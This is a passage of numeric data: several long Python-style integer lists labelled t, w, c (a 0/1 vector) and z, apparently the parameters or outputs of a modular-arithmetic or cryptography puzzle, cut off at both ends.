2387923, 2682823, 2003260, 395901, 1791397, 1830577, 976306, 62255, 761264, 52891, 1711393, 2001355, 3937031, 2392172, 2985418, 4046378, 1137477, 2129167, 3458988, 31687, 1552299, 1869766, 1533425, 1646294, 3359925, 3344202, 1307074, 1370151, 3969457, 2964880, 2001770, 1079921, 1053900, 3958167, 287277, 3946278, 2102513, 927002, 485914, 3158133, 1830801, 2293823, 1183919, 2920983, 1141229, 2529070, 1525183, 3666673, 6688, 2428538, 839330, 83778, 2498793, 800287, 3003237, 2401311, 2115215, 1364739, 2299608, 2733644, 221403, 3181436, 1367779, 1841630, 2741551, 1125109, 2660017, 4188255], [4170189, 4197458, 1708071, 2064659, 3089237, 4056506, 3161629, 3664990, 1944620, 2094143, 121306, 1194110, 1240892, 3099568, 3993621, 1091746, 701654, 3448318, 3814174, 1126917, 1638551, 795328, 1062966, 1079651, 1627935, 997385, 2350913, 2573664, 2906798, 927205, 3324125, 2544332, 2951786, 1053942, 1454063, 2887437, 923855, 1196730, 3964676, 1709181, 3658799, 1761044, 2467567, 4015863, 3330, 3149670, 861304, 679243, 761073, 2444773, 3485706, 3681222, 3669115, 2318964, 2356112, 1277375, 3539523, 660331, 3366417, 3992799, 2959508, 4174193, 1233604, 1785685, 3599346, 3812237, 4114839, 1829108, 128707, 2718214, 1912069, 1890882, 346864, 2305065, 3662290, 878154, 4191330, 788322, 1202968, 42601, 2115783, 293042, 2608753, 2386993, 1976325, 3721821, 2478763, 2550290, 505715, 3094954, 1979897, 2094643, 2982289, 1759081, 2167879, 490701, 135534, 2572034, 2490451, 2505654, 634878, 689, 2356360, 2725060, 3289272, 343797, 376122, 3218370, 1119404, 1870153, 842846, 3388014, 955738, 367358, 2094687, 3477244, 3623175, 879292, 228275, 1484429, 2810235, 2814709, 2541814, 1193688, 2881402, 1019594, 1522732, 996253, 1084197, 367507, 3717724, 3207119, 1790442, 2389328, 806574, 1997523, 2652436, 905052, 3262059, 4149216, 401917, 3711601, 3952142, 398990, 218324, 631452, 928133, 4459, 725212, 2052229, 1243421, 3306317, 3720210, 3276054, 2910991, 434782, 395218, 1470340, 573225, 2390273, 296626, 2756391, 2710908, 2203254, 767936, 1124989, 1947868, 1572917, 923291, 1249714, 142676, 2912044, 1422779, 3042156, 1443846, 1902050, 241191, 148498, 430765, 1993542, 3230636, 2343623, 4008914, 2366216, 3685554, 3149250, 2814424, 2544973, 1524706, 3713148, 3773273, 2004733, 244814, 266374, 2130359, 1112303, 405474, 1072385, 2998060, 263845, 1972766, 3484334, 2849352, 2783213, 2013716, 1880600, 1948680, 1266642, 3182060, 2797565, 2121673, 210066, 3311577, 443042, 483449, 549420, 2010948, 20615, 2843428, 2879138, 816267, 1860567, 3052149, 1145492, 3495049, 1886830, 3663633, 2804270, 2736028, 2015025, 2089071, 3207450, 627952, 1100512, 2278360, 85878, 2898776, 422416, 1616950, 3429318, 3833266, 362203, 2705348, 3381985, 1735489, 2574767, 3892613, 771610, 1407521, 1405588, 3939312, 521804, 3302586, 2913615, 2560681, 1277301], [205414, 2580614, 3261531, 4086404, 2545455, 13592, 2105063, 328717, 231975, 3605147, 763756, 683099, 587024, 1787003, 934636, 1627658, 56436, 2400368, 2014236, 3010666, 367595, 470110, 1652083, 3771756, 870644, 1203111, 2745393, 2124694, 3659560, 1376375, 3596488, 321652, 502094, 1948053, 277274, 30072, 3915236, 1132605, 3488579, 694197, 3587441, 116081, 3551925, 3339063, 980571, 1017141, 1172356, 2479285, 2382140, 1637799, 179978, 3457977, 4078828, 797369, 2398562, 287214, 3611353, 2674229, 363609, 1643898, 3834098, 3095178, 2278377, 2925969, 2912060, 1622528, 1674336, 3585480, 1063206, 4062022, 2524612, 3875654, 349402, 1874061, 42477, 1696726, 3386773, 3384104, 3056446, 3628852, 2495953, 1186419, 3485283, 4188949, 400831, 4184628, 2303759, 900060, 1295431, 3661490, 2013856, 2464642, 2413900, 2425288, 3338119, 2627464, 2709200, 3539840, 846061, 3027866, 2319072, 2504618, 3598713, 3735931, 3852205, 2665622, 4157227, 1968045, 610859, 1274625, 2974802, 3764987, 2902343, 1891454, 3915260, 1396350, 1015650, 2670513, 2353140, 2372566, 1499179, 931690, 455584, 3345473, 3288538, 2549767, 1888527, 289981, 3667839, 781825, 728650, 2912777, 2936431, 1548715, 2955614, 2510836, 2794501, 3038390, 1253596, 1703432, 731462, 257895, 3727703, 3589492, 2950279, 2727767, 3430362, 1844411, 541925, 3553424, 278296, 1165271, 4194616, 2144149, 641534, 99837, 4179698, 112721, 3187807, 2272858, 4050385, 2905076, 2539739, 4100283, 3142372, 3199912, 1420626, 3166465, 3396298, 1529564, 2854434, 751627, 3962125, 2657338, 569861, 2687706, 2494725, 1397507, 2599673, 484358, 756616, 775087, 3410400, 4164488, 1502452, 3342739, 1423358, 387446, 2355609, 1805051, 1165011, 2196021, 2641948, 2239794, 3608342, 3164087, 3340875, 2652263, 1257756, 1493047, 2187775, 3179420, 1725608, 231211, 2211906, 2499531, 833852, 1917818, 1490344, 3396427, 55102, 3347338, 875844, 2644068, 1134763, 1361233, 480403, 2773431, 4072578, 1539557, 2270627, 287580, 2148907, 3842875, 2804202, 1355876, 3680617, 969977, 345366, 1294996, 3984075, 3135398, 1805147, 3076561, 1741086, 4113411, 3337436, 1165325, 3674981, 1289055, 98026, 1289758, 1089064, 3327332, 2943372, 4180342, 2677011, 3933879, 3109428, 2246725, 1544027, 1933547, 1640025, 3413058, 1654501, 1392204], [1403276, 4025775, 3795417, 4081540, 238628, 1160540, 585887, 2185505, 2717255, 1224993, 1640865, 2022446, 2405283, 745242, 1366560, 2651990, 1052107, 2974185, 2557322, 1537924, 951949, 1150386, 248725, 819894, 2617226, 946317, 917246, 2394315, 2151911, 115340, 4003967, 1015858, 1822142, 1138019, 3805228, 3383516, 1571073, 2694088, 3739053, 1760121, 275856, 843200, 3891433, 3691449, 304628, 3810710, 2538296, 3969887, 1011295, 692408, 3528336, 1465521, 1584620, 1258351, 3886573, 3432042, 3839893, 2719732, 2424896, 360633, 2944409, 2745533, 2116932, 3474611, 4085182, 268015, 2084690, 786461, 1221322, 3112597, 1239234, 2355440, 311453, 1448410, 2629528, 2883728, 1161535, 4065924, 1386816, 3214266, 1556218, 1295062, 3977403, 3938763, 1364764, 3606426, 3381239, 3089433, 2366511, 889868, 2313457, 929196, 3915746, 3178783, 261989, 569122, 3108374, 1269289, 2106123, 1144397, 3325926, 3179535, 3892214, 1795934, 3088414, 1492558, 2040563, 3103415, 3557125, 3202072, 705739, 4192283, 2054590, 2894320, 1290352, 4172969, 584348, 779436, 2036737, 3749881, 2018312, 3000181, 46429, 732100, 1476962, 3790924, 1004811, 1774427, 383672, 1543971, 321699, 2894565, 1097546, 2130054, 1526842, 3800373, 336041, 3232784, 429846, 2480245, 1724743, 3461385, 1852269, 4135230, 3500473, 1643830, 2549816, 681574, 3779407, 3742074, 4095566, 1677875, 1164977, 2287118, 2175905, 1135254, 1999187, 3112923, 3333821, 2250491, 1637877, 3009932, 2198297, 1259081, 2081206, 4146342, 2263333, 2497064, 3085161, 1513818, 2000812, 3322649, 168090, 2192966, 1096099, 187189, 618833, 877372, 3421028, 2777702, 1940837, 2153879, 1216408, 2633673, 869727, 1211646, 2743414, 332686, 2443069, 3694363, 2747063, 3104571, 3893245, 2152866, 3455924, 2581924, 1608388, 2299122, 447896, 1941319, 1645369, 4076258, 664157, 57554, 446684, 610841, 4109241, 747947, 4187967, 3832635, 3956913, 1023556, 3968652, 1627572, 1295544, 1037279, 2207024, 3848527, 407235, 79844, 1614524, 3611704, 3568439, 685501, 866356, 339424, 1631800, 3128606, 1862277, 1087131, 1576142, 394140, 1966113, 3236165, 2127481, 2524560, 3760972, 1053423, 185207, 2017650, 4023626, 1728574, 1395136, 975618, 188254, 1066083, 4105676, 2427107, 337149, 3304300, 896473, 793852, 3429884, 2482979, 1846770, 579482]]

t = [354478, 296332, 177939, 150605, 1407926, 2937274, 2176898, 3305130, 1109682, 2506399, 3202175, 1958626, 4079145, 1332613, 3252888, 3006637, 3335186, 3043191, 1662926, 2370415, 2390448, 2706106, 1792585, 937694, 1611809, 1849167, 2991931, 1175846, 4066762, 2615264, 970706, 3512162, 4119196, 513461, 1929695, 3908567, 24644, 4007676, 3350175, 27550, 1719495, 3229486, 3450221, 2908009, 2188820, 1792744, 272159, 1668710, 1915594, 2776703, 2886677, 2545470, 384996, 415675, 4028270, 733233, 65655, 3239350, 3107739, 2640962, 3097292, 1062856, 1661958, 2225521, 3957998, 98911, 2867531, 168595, 3998931, 397582, 232861, 381014, 3580153, 384445, 701936, 1074835, 3719143, 1950855, 1013482, 1502755, 779686, 3335310, 318780, 4189135, 3046460, 1937175, 3616334, 2991709, 1015898, 390386, 3235502, 4074020, 1777501, 2348745, 1299478, 858335, 1393650, 1941905, 2044081, 1651765, 1081521, 3042439, 2475462, 2155001, 4090269, 2117008, 2838837, 732905, 1417813, 3042, 1451853, 2980425, 1138885, 1307018, 3839883, 2401337, 3326733, 213715, 351410, 1296290, 3277270, 4058870, 437349, 3785513, 3482525, 3350271, 3123322, 1154081, 2660613, 1589095, 2143998, 1520224, 3732559, 4122336, 3906020, 2232955, 27568, 864829, 249061, 3754594, 199817, 1080629, 1688587, 3021918, 85346, 1734200, 2223663, 2357922, 724161, 3736990, 2261910, 3390396, 2948525, 1295901, 2576003, 2560019, 2746610, 2343974, 2446304, 1042150, 3500136, 213270, 2074273, 2478542, 1041559, 520262, 3893712, 3711890, 350959, 3256975, 3401444, 2398124, 3762883, 2928821, 1353277, 1128049, 1658032, 1664240, 1775167, 9320, 223085, 2964848, 3769019, 2986481, 2602091, 1867009, 2010950, 2917513, 485038, 4108141, 2758008, 3326512, 906575, 656526, 3768, 3259747, 870034, 26510, 3897304, 3776840, 2271692, 1446145, 324840, 3915722, 2938429, 831560, 1002372, 3931665, 3164196, 3900054, 1549288, 1293344, 4110122, 3378944, 3263160, 1822736, 1570556, 3585711, 3910733, 1267663, 1430694, 3074956, 2349730, 49045, 3618783, 104834, 3469400, 500062, 1027867, 1903697, 3631085, 763524, 1403697, 1000443, 3849084, 4090704, 3781938, 63386, 2161110, 3145566, 1581532, 3449870, 1828219, 4034598, 407085, 1569954, 2191973, 242689, 3151009, 533414, 3108431, 2438566, 307227, 1611173, 78926, 2467239]

w = [148126, 868354, 2143965, 1356121, 1769070, 2215173, 767953, 2601190, 1809380, 334743, 1059282, 1337866, 2591601, 4042346, 919731, 3362618, 2854566, 1414100, 2932551, 227531, 2713508, 230418, 3005563, 1760719, 536916, 1568397, 3319693, 3570057, 1863904, 1526172, 2622540, 2842511, 929697, 801598, 3805675, 3265586, 3604383, 1468136, 3999601, 2691008, 2996784, 2976853, 1437899, 2514953, 3394627, 4024905, 3227570, 3128156, 4055260, 3719706, 1875806, 2908724, 2345332, 2112583, 16315, 367194, 1605308, 2117060, 3176371, 2432272, 3045173, 3703363, 2264317, 4142685, 2318330, 4117388, 498862, 2919276, 3037612, 1891502, 3875694, 3152040, 531307, 3924428, 3655995, 4027669, 1241885, 2052122, 736953, 3689724, 503599, 1457497, 4114661, 1636903, 4191661, 324352, 3565858, 3367778, 1304255, 3849140, 4024435, 2044544, 3176857, 1576867, 2097225, 2798358, 3785400, 2709040, 3039758, 3168651, 1037116, 420753, 1312584, 3894413, 3497233, 1589033, 1636067, 3304973, 1569472, 1703302, 3337749, 1896482, 2716387, 2979425, 1057645, 2574697, 2381132, 37784, 4037898, 2235077, 1875418, 412228, 3388966, 543903, 2077344, 371740, 3730530, 4134854, 3698735, 331270, 2590936, 1907844, 2643932, 14020, 750756, 943297, 416152, 409384, 112714, 639305, 1330651, 2691724, 850667, 3224279, 58695, 1740604, 3205311, 2534600, 1928817, 1606980, 19452, 2590457, 1861232, 2738921, 1887047, 375647, 933170, 116752, 2718275, 3512157, 3274368, 1990859, 3008852, 1038390, 3471575, 3087028, 2271594, 2859626, 2959079, 3489980, 629344, 4119616, 764468, 3535051, 2466424, 2772275, 2490825, 1666917, 3042084, 4134097, 2736933, 3393706, 3600479, 2766691, 1016076, 2292766, 762445, 2425542, 2123813, 2457304, 2455905, 3084655, 2057776, 1896178, 966110, 3198662, 2499316, 3730072, 2103066, 2572639, 2952658, 402245, 1240536, 511529, 1562481, 2830782, 3625253, 2799310, 2921345, 2436157, 2891482, 4187071, 1858478, 2663235, 2407985, 4116422, 2893, 752343, 3404680, 3297905, 1980178, 3974801, 3339179, 1470992, 3549645, 769178, 2345597, 3104728, 2018656, 689899, 2165792, 1274418, 1853479, 3409514, 4086345, 389815, 2200161, 223356, 3039163, 645046, 1910260, 2370649, 2560695, 2821951, 3135761, 2983534, 1790948, 2446723, 3025904, 1195223, 1153771, 494973, 3443666, 405468, 1788872, 688372]

c = [1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1]

z = [[4197800, 4197802, 4197793, 4197793, 4197802, 4197798, 4197799, 4197802, 4197795, 4197799, 4197795, 4197799, 4197803, 4197799, 4197801, 4197796, 4197801, 4197802, 4197796, 4197798, 4197796, 4197800, 4197794, 4197799, 4197803, 4197798, 4197804, 4197805, 4197803, 4197803, 4197800, 4197801, 4197801, 4197802, 4197801, 4197802, 4197797, 4197805, 4197799, 4197800, 4197806, 4197807, 4197807, 4197807, 4197801, 4197805, 4197802, 4197799, 4197805, 4197803, 4197806, 4197801, 4197811, 4197804, 4197799, 4197806, 4197801, 4197812, 4197805, 4197811, 4197808, 4197809, 4197810, 4197803, 4197812, 4197806, 4197808, 4197801, 4197805, 4197809, 4197808, 4197815, 4197811, 4197808, 4197806, 4197812, 4197815, 4197813, 4197813, 4197811, 4197812, 4197815, 4197806, 4197807, 4197807, 4197813, 4197811, 4197803, 4197815, 4197809, 4197813, 4197806, 4197810, 4197815, 4197819, 4197815, 4197813, 4197814, 4197815, 4197813, 4197814, 4197811, 4197815, 4197818, 4197814, 4197815, 4197814, 4197819, 2, 4197811, 4197810, 4197817, 4197812, 4197814, 2, 4197814, 4197820, 4197815, 4197817, 4197816, 4197814, 4197815, 4197812, 4197816, 4197817, 4197820, 4197820, 4197819, 4197820, 4197819, 4197818, 4, 5, 5, 1, 4197819, 2, 4197818, 6, 2, 4197819, 6, 4, 1, 1, 0, 4197818, 7, 2, 6, 2, 12, 7, 4, 6, 5, 5, 8, 7, 9, 9, 10, 16, 11, 4, 10, 4, 6, 5, 9, 14, 4, 6, 4, 8, 9, 14, 15, 13, 7, 13, 13, 11, 11, 16, 20, 10, 17, 6, 13, 16, 17, 19, 16, 17, 16, 16, 20, 20, 19, 13, 14, 12, 12, 16, 11, 17, 15, 20, 12, 18, 14, 13, 29, 25, 23, 17, 12, 21, 21, 21, 14, 17, 9, 23, 20, 19, 23, 19, 17, 20, 22, 19, 22, 16, 20, 17, 21, 19, 18, 24, 28, 27, 29, 28, 24, 26, 23, 30, 24, 15, 28, 28, 23, 20, 23], [4197804, 4197800, 4197807, 4197795, 4197803, 4197802, 4197798, 4197803, 4197803, 4197805, 4197798, 4197798, 4197802, 4197799, 4197802, 4197798, 4197803, 4197800, 4197804, 4197806, 4197802, 4197806, 4197804, 4197806, 4197808, 4197805, 4197807, 4197806, 4197803, 4197806, 4197810, 4197806, 4197805, 4197808, 4197805, 4197807, 4197805, 4197805, 4197806, 4197801, 4197808, 4197809, 4197807, 4197804, 4197809, 4197811, 4197800, 4197811, 4197809, 4197803, 4197810, 4197808, 4197811, 4197802, 4197813, 4197815, 4197808, 4197807, 4197807, 4197811, 4197806, 4197800, 4197813, 4197809, 4197815, 4197806, 4197809, 4197812, 4197812, 4197807, 4197809, 4197814, 4197809, 4197806, 4197815, 4197814, 4197816, 4197808, 4197817, 4197814, 4197811, 4197812, 4197807, 4197817, 4197815, 4197815, 4197817, 4197812, 4197816, 4197810, 4197814, 4197812, 4197818, 4197809, 4197807, 4197813, 4197810, 4197816, 4197810, 4197814, 4197813, 4197815, 4197817, 4197816, 4197815, 4197820, 4197819, 4197811, 4197817, 2, 4197817, 4197814, 0, 1, 0, 4197814, 4197820, 4197815, 4197818, 4197819, 4197814, 4197819, 4, 4197820, 4197819, 4197815, 2, 4197819, 4197817, 3, 7, 2, 4197819, 11, 3, 5, 0, 8, 1, 8, 7, 8, 6, 8, 2, 5, 3, 6, 2, 4, 1, 7, 6, 2, 8, 0, 8, 10, 4, 10, 10, 6, 10, 8, 4, 10, 14, 8, 8, 3, 5, 5, 8, 8, 5, 10, 8, 5, 11, 15, 11, 6, 10, 16, 12, 16, 11, 9, 16, 10, 13, 15, 22, 8, 15, 21, 16, 14, 10, 14, 17, 16, 18, 9, 16, 21, 10, 10, 20, 18, 12, 20, 18, 25, 15, 18, 19, 24, 21, 18, 18, 21, 18, 20, 18, 17, 21, 20, 15, 18, 21, 17, 15, 22, 21, 24, 19, 17, 28, 24, 27, 23, 27, 20, 18, 24, 22, 28, 15, 18, 21, 22, 23, 20, 26, 21], [4197803, 4197801, 4197803, 4197803, 4197804, 4197800, 4197802, 4197796, 4197800, 4197802, 4197802, 4197798, 4197801, 4197802, 4197802, 4197799, 4197809, 4197807, 4197803, 4197810, 4197806, 4197809, 4197800, 4197806, 4197801, 4197801, 4197802, 4197806, 4197805, 4197806, 4197807, 4197803, 4197808, 4197806, 4197811, 4197809, 4197809, 4197806, 4197807, 4197808, 4197806, 4197810, 4197804, 4197799, 4197810, 4197813, 4197811, 4197809, 4197808, 4197814, 4197814, 4197812, 4197813, 4197812, 4197815, 4197813, 4197805, 4197808, 4197808, 4197812, 4197803, 4197809, 4197808, 4197816, 4197814, 4197813, 4197808, 4197813, 4197818, 4197811, 4197810, 4197816, 4197815, 4197811, 4197809, 4197812, 4197814, 4197815, 4197813, 4197811, 4197812, 4197817, 4197812, 4197811, 4197816, 4197818, 4197814, 4197812, 4197810, 4197813, 4197815, 4197804, 4197811, 4197814, 4197810, 4197815, 4197811, 4197817, 4197816, 4197816, 4197818, 4197814, 3, 5, 4197818, 4197810, 0, 4197820, 4197815, 1, 4197813, 4197816, 4197817, 4197813, 4197815, 1, 6, 4197817, 4197817, 4197817, 3, 4197817, 4197819, 2, 4197811, 4197815, 0, 4197819, 4197818, 4197819, 4, 4, 2, 4, 4197818, 2, 6, 5, 5, 4, 0, 1, 1, 3, 4197819, 3, 9, 1, 6, 4, 5, 5, 6, 7, 13, 8, 4, 7, 4, 7, 8, 11, 2, 8, 10, 8, 15, 12, 3, 4, 12, 14, 2, 7, 10, 18, 4, 4, 7, 12, 8, 5, 9, 14, 11, 10, 10, 11, 12, 12, 7, 7, 15, 18, 11, 6, 10, 15, 12, 7, 16, 14, 17, 12, 9, 14, 14, 8, 8, 19, 10, 10, 9, 19, 15, 21, 16, 12, 20, 25, 15, 11, 19, 17, 9, 15, 11, 19, 13, 15, 20, 14, 28, 16, 22, 19, 26, 20, 21, 19, 17, 23, 22, 18, 19, 20, 17, 22, 26, 25, 22, 23, 20, 22, 24, 22], [4197795, 4197796, 4197797, 4197800, 4197799, 4197797, 4197795, 4197800, 4197797, 4197798, 4197808, 4197801, 4197801, 4197800, 4197799, 4197805, 4197799, 4197801, 4197801, 4197802, 4197800, 4197801, 4197803, 4197797, 4197805, 4197803, 4197804, 4197807, 4197803, 4197799, 4197802, 4197803, 4197801, 4197800, 4197807, 4197802, 4197801, 4197803, 4197802, 4197808, 4197803, 4197804, 4197813, 4197805, 4197807, 4197809, 4197806, 4197803, 4197804, 4197799, 4197811, 4197806, 4197804, 4197806, 4197803, 4197810, 4197803, 4197809, 4197809, 4197807, 4197813, 4197812, 4197807, 4197808, 4197806, 4197805, 4197811, 4197811, 4197810, 4197814, 4197810, 4197806, 4197813, 4197815, 4197812, 4197810, 4197805, 4197814, 4197808, 4197809, 4197812, 4197810, 4197810, 4197809, 4197807, 4197816, 4197811, 4197814, 4197806, 4197809, 4197814, 4197815, 4197806, 4197815, 4197814, 4197812, 4197817, 4197809, 4197812, 4197816, 4197811, 4197817, 4197815, 4197820, 4197813, 4197812, 4197811, 4197815, 5, 4197816, 4197817, 4197810, 0, 4197814, 4197818, 4197810, 4197820, 4197820, 1, 4197817, 4197818, 4197819, 4197812, 1, 3, 4197820, 4197818, 4197816, 7, 1, 2, 9, 4197817, 4197817, 4, 11, 2, 5, 7, 3, 4197819, 8, 6, 7, 6, 4, 6, 7, 4, 10, 8, 8, 10, 9, 12, 5, 6, 5, 7, 10, 12, 7, 13, 8, 7, 4, 10, 5, 8, 11, 9, 12, 5, 8, 4, 13, 15, 8, 7, 7, 12, 9, 13, 16, 7, 11, 12, 9, 11, 14, 10, 4, 14, 17, 16, 15, 12, 14, 11, 17, 14, 17, 13, 19, 11, 20, 17, 12, 17, 13, 17, 23, 15, 17, 17, 16, 14, 19, 18, 20, 18, 16, 12, 18, 23, 16, 16, 21, 24, 18, 22, 17, 21, 20, 24, 19, 20, 23, 24, 12, 24, 21, 22, 19, 22, 24, 28, 19, 22, 24, 24, 26, 21, 26, 26, 18], [4197799, 4197801, 4197805, 4197804, 4197805, 4197798, 4197795, 4197801, 4197802, 4197801, 4197797, 4197805, 4197800, 4197803, 4197803, 4197803, 4197806, 4197802, 4197807, 4197797, 4197806, 4197801, 4197800, 4197800, 4197803, 4197806, 4197804, 4197807, 4197804, 4197805, 4197812, 4197808, 4197808, 4197807, 4197809, 4197805, 4197808, 4197811, 4197804, 4197806, 4197807, 4197807, 4197804, 4197806, 4197801, 4197812, 4197807, 4197812, 4197801, 4197811, 4197805, 4197809, 4197811, 4197813, 4197809, 4197807, 4197805, 4197808, 4197811, 4197814, 4197803, 4197809, 4197809, 4197809, 4197811, 4197808, 4197811, 4197806, 4197812, 4197810, 4197817, 4197806, 4197810, 4197811, 4197812, 4197810, 4197808, 4197813, 4197807, 4197817, 4197815, 4197817, 4197814, 4197804, 4197807, 4197817, 4197810, 4197812, 4197810, 4197813, 4197812, 4197812, 4197814, 4197810, 4197812, 4197812, 4197811, 4197815, 4197810, 4197815, 4197810, 4197811, 4197811, 4197818, 4197809, 4197819, 1, 4197813, 4197819, 4197814, 4197816, 4197811, 1, 4197812, 4197811, 4197818, 4197818, 4197810, 4197816, 4197815, 4197813, 4197817, 4197814, 4197816, 4197816, 4197815, 4197813, 4197813, 4197818, 0, 0, 4197814, 4197815, 0, 4197816, 4, 2, 4197819, 4197819, 0, 4197820, 1, 0, 0, 4, 2, 0, 6, 1, 5, 1, 7, 5, 5, 3, 2, 7, 3, 6, 5, 5, 5, 2, 12, 7, 10, 6, 15, 7, 9, 4, 8, 10, 10, 10, 3, 2, 9, 6, 2, 10, 8, 4197819, 13, 13, 6, 6, 11, 6, 8, 8, 12, 12, 10, 12, 8, 11, 12, 9, 11, 16, 16, 10, 2, 12, 11, 7, 9, 9, 7, 12, 13, 14, 13, 13, 10, 14, 18, 16, 15, 14, 13, 13, 12, 13, 10, 10, 12, 18, 12, 17, 19, 17, 13, 15, 23, 7, 11, 17, 11, 19, 14, 17, 15, 23, 26, 23, 18, 22, 24, 22, 17, 20, 17, 17, 24], [4197795, 4197793, 4197799, 4197799, 4197791, 4197798, 4197798, 4197802, 4197804, 4197795, 4197800, 4197805, 4197791, 4197798, 4197803, 4197800, 4197798, 4197793, 4197791, 4197809, 4197800, 4197801, 4197799, 4197804, 4197801, 4197802, 4197803, 4197804, 4197803, 4197806, 4197809, 4197802, 4197805, 4197804, 4197805, 4197808, 4197806, 4197808, 4197810, 4197806, 4197806, 4197803, 4197810, 4197816, 4197814, 4197808, 4197805, 4197808, 4197807, 4197805, 4197811, 4197808, 4197808, 4197805, 4197813, 4197804, 4197818, 4197806, 4197810, 4197811, 4197807, 4197810, 4197816, 4197815, 4197816, 4197813, 4197809, 4197808, 4197807, 4197811, 4197820, 4197807, 4197812, 4197814, 4197810, 4197812, 4197813, 4197814, 4197813, 4197806, 4197811, 4197818, 0, 4197815, 4197808, 4197813, 4197813, 4197817, 4197812, 4197815, 4197809, 4197813, 4197817, 4197811, 4197812, 4197814, 4197818, 4197817, 4197816, 4197819, 4197810, 4197815, 4197817, 4197813, 4197816, 4197816, 4197816, 4197819, 4197815, 4197814, 4197817, 4197818, 0, 4197818, 4197813, 4197820, 4197817, 4197812, 2, 4197819, 4197820, 4197820, 4197818, 4197815, 4197819, 4197820, 4197818, 4197818, 0, 1, 2, 4197820, 0, 4, 4197817, 3, 3, 7, 4197820, 2, 7, 7, 8, 6, 9, 5, 4, 3, 11, 11, 5, 4, 15, 4, 9, 11, 11, 5, 15, 8, 10, 9, 9, 18, 16, 7, 14, 6, 14, 10, 13, 5, 12, 11, 14, 12, 8, 8, 8, 9, 15, 13, 8, 12, 8, 16, 12, 7, 11, 8, 17, 14, 15, 14, 13, 12, 11, 21, 21, 14, 11, 15, 11, 19, 11, 13, 21, 18, 13, 14, 19, 17, 16, 11, 21, 17, 17, 17, 19, 24, 16, 17, 17, 21, 20, 19, 22, 14, 22, 17, 24, 16, 20, 18, 15, 22, 22, 22, 20, 19, 20, 24, 22, 17, 18, 21, 25, 24, 24, 26, 24, 25, 30, 23, 32, 18], [4197797, 4197795, 4197800, 4197798, 4197803, 4197800, 4197796, 4197795, 4197803, 4197802, 4197797, 4197799, 4197801, 4197800, 4197801, 4197800, 4197801, 4197796, 4197796, 4197807, 4197800, 4197804, 4197806, 4197797, 4197800, 4197801, 4197803, 4197803, 4197806, 4197806, 4197805, 4197801, 4197801, 4197801, 4197800, 4197796, 4197805, 4197801, 4197805, 4197801, 4197802, 4197804, 4197805, 4197805, 4197807, 4197805, 4197806, 4197809, 4197803, 4197799, 4197800, 4197807, 4197807, 4197808, 4197813, 4197807, 4197807, 4197804, 4197807, 4197807, 4197804, 4197810, 4197806, 4197814, 4197805, 4197809, 4197803, 4197806, 4197801, 4197806, 4197811, 4197812, 4197812, 4197815, 4197807, 4197809, 4197814, 4197810, 4197807, 4197817, 4197819, 4197810, 4197803, 4197808, 4197805, 4197810, 4197809, 4197814, 4197810, 4197812, 4197808, 4197811, 4197811, 4197809, 4197808, 4197809, 4197813, 4197809, 4197814, 4197810, 4197807, 4197810, 4197810, 4197815, 4197815, 4197813, 4197817, 4197819, 4197809, 4197815, 4197813, 4197814, 4197816, 4197818, 4197811, 4197814, 4197812, 4197808, 4197812, 4197815, 4197818, 4197817, 4197812, 4197818, 4197815, 4197819, 4197819, 4197814, 4197817, 4197815, 0, 0, 4197815, 4197817, 4197819, 4197819, 4197819, 5, 4197820, 3, 2, 1, 0, 2, 5, 4, 3, 2, 0, 2, 3, 2, 4, 4, 7, 6, 6, 13, 7, 7, 4, 8, 13, 11, 13, 6, 11, 7, 6, 7, 11, 14, 6, 13, 8, 15, 8, 16, 6, 13, 19, 14, 16, 12, 6, 9, 10, 14, 15, 13, 12, 14, 15, 14, 11, 16, 9, 11, 9, 12, 17, 11, 13, 5, 18, 20, 21, 14, 17, 12, 7, 14, 21, 16, 21, 12, 5, 15, 12, 17, 13, 16, 16, 20, 17, 17, 16, 17, 14, 16, 22, 20, 16, 14, 21, 17, 20, 18, 24, 18, 18, 22, 17, 18, 18, 24, 23, 19, 19, 23, 24, 19, 18, 20, 24, 21], [4197802, 4197800, 4197803, 4197802, 4197807, 4197800, 4197804, 4197806, 4197802, 4197801, 4197802, 4197807, 4197802, 4197801, 4197799, 4197796, 4197806, 4197800, 4197800, 4197804, 4197807, 4197799, 4197797, 4197805, 4197806, 4197803, 4197803, 4197809, 4197809, 4197803, 4197801, 4197808, 4197805, 4197812, 4197804, 4197807, 4197804, 4197808, 4197811, 4197803, 4197807, 4197808, 4197810, 4197806, 4197806, 4197811, 4197807, 4197808, 4197806, 4197807, 4197806, 4197811, 4197807, 4197809, 4197815, 4197812, 4197813, 4197809, 4197811, 4197816, 4197809, 4197817, 4197812, 4197807, 4197812, 4197810, 4197809, 4197808, 4197810, 4197807, 4197809, 4197812, 4197804, 4197811, 4197810, 4197814, 4197810, 4197803, 4197815, 4197810, 4197807, 4197809, 4197807, 4197819, 4197808, 4197814, 4197810, 4197815, 4197810, 4197817, 4197815, 4197815, 4197819, 4197809, 4197820, 4197817, 4197815, 4197811, 4197809, 4197820, 4197816, 4197811, 4197818, 4197817, 1, 4197820, 4197814, 4197819, 4197815, 3, 4197819, 4197818, 1, 4197817, 4197818, 4197812, 4197820, 4197820, 2, 4197817, 4197817, 